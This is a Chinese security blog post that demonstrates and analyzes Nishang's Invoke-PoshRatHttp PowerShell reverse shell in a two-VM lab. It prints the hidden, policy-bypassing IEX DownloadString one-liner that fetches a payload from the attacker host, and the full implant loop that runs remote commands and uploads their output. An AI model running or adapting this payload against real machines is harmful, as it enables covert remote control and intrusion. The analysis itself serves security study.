Powershell 进阶——基于Powershell的远控分析

 

前言

我是掌控安全学院的魔术手,这篇文章是对Powershell的远控进行分析。

之前写过一篇文章《badusb-轻松绕过防护拿下小姐姐的电脑》,其实那篇文章本打算写三个要点:思路、绕过和远控分析,但是因为篇幅太长,所以把远控分析放到这篇文章。

 

远控演示

先来个比较简单的远控,来自Nishang的反弹shell:Invoke-PoshRatHttp.ps1。这里为了演示方便,我用了两台win10的虚拟机,分别作为攻击机和靶机。
准备工作:

  1. 两台WIN10的虚拟机(Nishang需要的环境是Powershell 3.0以上)。
    攻击机:mss-192.168.1.237
    靶机:target-192.168.1.48
  2. 攻击机下载Nishang,Nishang是一款基于Powershell的渗透测试工具,里面集成了很多功能,比如下载、键盘记录、远控等脚本,我们这里只需要用他的基于HTTP的反弹shell:Invoke-PoshRatHttp.ps1,只下载这一个也行。

准备工作完成后,攻击机以管理员身份打开Powershell,输入:. C:nishang-masterShellsInvoke-PoshRatHttp.ps1

注意 . 和后面的路径之间有个空格,C:nishang-masterShellsInvoke-PoshRatHttp.ps1是下载后脚本所在的路径。

输入完成后会爆出提示,输入R继续。

PS C:Windowssystem32> . C:nishang-masterShellsInvoke-PoshRatHttp.ps1

安全警告
请只运行你信任的脚本。虽然来自 Internet 的脚本会有一定的用处,但此脚本可能会损坏你的计算机。如果你信任此脚本,请使用
Unblock-File cmdlet 允许运行该脚本,而不显示此警告消息。是否要运行 C:nishang-masterShellsInvoke-PoshRatHttp.ps1?
[D] 不运行(D)  [R] 运行一次(R)  [S] 暂停(S)  [?] 帮助 (默认值为“D”):

然后输入Invoke-PoshRatHttp 192.168.1.237 3333

注意:192.168.1.237是攻击机的IP,3333是侦听的端口。输入完成后会显示下列内容:

PS C:Windowssystem32> Invoke-PoshRatHttp 192.168.1.237 3333
Listening on 192.168.1.237:3333
Run the following command on the target:
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.237:3333/connect'))

接下来只需将powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.1.237:3333/connect'))在靶机上运行即可。注意,建议将这串代码先放到编辑器里把一些回车去掉,否则容易出问题。
靶机执行后会得到如下回显:

PS 192.168.1.48:50330>:

输入exit退出。

整体流程如图:

avatar

 

远控分析

远控分析分成两个部分:

  • 第一部分是建立连接,包括生成payload和靶机执行后建立连接的过程。
  • 第二部分是命令执行,是你攻击机执行指令并返回的过程。

建立连接

首先通过wireshark看看整个过程发生了什么。

打开wireshark监听,因为这是一个基于HTTP的反弹shell,所以只需要抓取两台机器通信中的HTTP包,抓取结果如下图。

avatar

从图中可以看出,靶机执行payload之后,靶机向攻击机发送了第一次请求,追踪http流后发现内容如图:

avatar

从图中分析可知,靶机发出HTTP请求http://192.168.1.237:3333/connect,攻击机返回了下列内容:

$s = "http://192.168.1.237:3333/rat"
$w = New-Object Net.WebClient 
while($true)
{
    [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
    $r = $w.DownloadString($s)
    while($r) 
    {
        $o = invoke-expression $r | out-string 
        $w.UploadString($s, $o)    
        break
    }
}

这个内容就是远控的被控端的内容。

先对这个过程进行分析:

  1. 攻击机执行Invoke-PoshRatHttp.ps1脚本,打开该脚本,在第35-37行定义了两个位置参数IPAddressport,也就是我们执行时输入的ip和侦听的端口。
    avatar
  2. 在第66生成了System.Net.HttpListener,这是一个基于http的侦听器;第71行创建了一个防火墙规则,第70行是为了防止该规则已存在,所以先删除它,防止出现问题;第73行表示侦听器开始工作;第74-76行是输出提醒内容和payload。
    avatar
  3. 执行payload:powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString(‘http://192.168.1.237:3333/connect‘))
    这个payload的大意就是模拟成一个web客户端去下载文件http://192.168.1.237:3333/connect,然后执行这个文件。这就是监听看到的第一个数据包,由靶机发起。
  4. 攻击机收到请求后,对请求的内容进行分析,在脚本的第85行有一个判断,if ($request.Url -match '/connect$' -and ($request.HttpMethod -eq "GET"))意思是如果收到一个url里有connect的GET请求,就执行下面的指令,也就是将被控端发送个靶机。这是监听看到的第二个包,由攻击机发送给靶机。
    avatar
  5. 靶机收到数据包后,执行其功能:第91行生成一个web客户端,然后通过这个客户端去请求http://192.168.1.237:3333/rat的内容。这就是图中的第三个数据包,由靶机发送给攻击机。

    命令执行

    攻击机执行whoami,使用wireshark监听,结果如图:
    avatar追踪http流结果如图:
    avatar从中可以看出,攻击机将指令whoami发送给靶机,靶机执行后发送给攻击机。
    接下来对这个过程进行分析:

  6. 攻击机输入指令whoami,脚本将指令传递给 $message
  7. 因为第一步的第三个包是请求/rat,根据脚本的第109行可知,接下来将执行110-120行的内容,其中第114行是对输入的指令做出分析,如果输入的指令是exit,那么将退出侦听。
    avatar如果输入的指令不是exit,那么程序继续执行,在第160-167行,将指令处理后发送给靶机。
    avatar这就是第一个数据包。
  8. 靶机收到后,将指令whoami传递给变量$r,然后由invoke-expression执行指令,将结果传递给变量$o然后上传给靶机,靶机处理后显示出来。

上面就是对整个过程的分析,最后放出一张完整的图。

avatar

(完)